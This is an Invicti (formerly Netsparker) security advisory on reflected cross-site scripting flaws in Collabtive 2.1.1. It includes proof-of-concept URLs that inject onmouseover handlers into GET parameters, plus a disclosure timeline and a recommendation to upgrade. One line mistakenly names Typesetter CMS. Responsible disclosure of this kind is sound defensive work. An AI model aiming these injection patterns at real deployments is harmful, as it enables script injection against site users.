Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in Collabtive
Affected Software : Collabtive
Affected Versions: 2.1.1
Vendor Homepage :  http://collabtive.o-dyn.de/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Invicti Advisory Reference : NS-17-001

Technical Details
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Proof of Concept URL for XSSes vulnerabilities in Typesetter CMS;

URL /collabtive/manageajax.php?action=newcal&y=x'"%20onmouseover=alert(9)%20&m=5
Parameter Name y
Parameter Type GET
Attack Pattern '"%20onmouseover=alert(9)%20

URL http://127.0.0.1/collabtive/managetask.php?action=addform&id=2&theday="%20onmouseover=alert(1)%20value="15&themonth=6&theyear=2016
Parameter Name theday, themonth, theyear
Parameter Type GET
Attack Pattern "%20onmouseover=alert(1)%20value="15

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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30 Jun 2016 - Issue reported
08 Sep 2016 - Vendor fixed
16 Jan 2017 - Advisory released

Solution
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Download latest version of Collabtive.

Credits & Authors
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This issues has been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.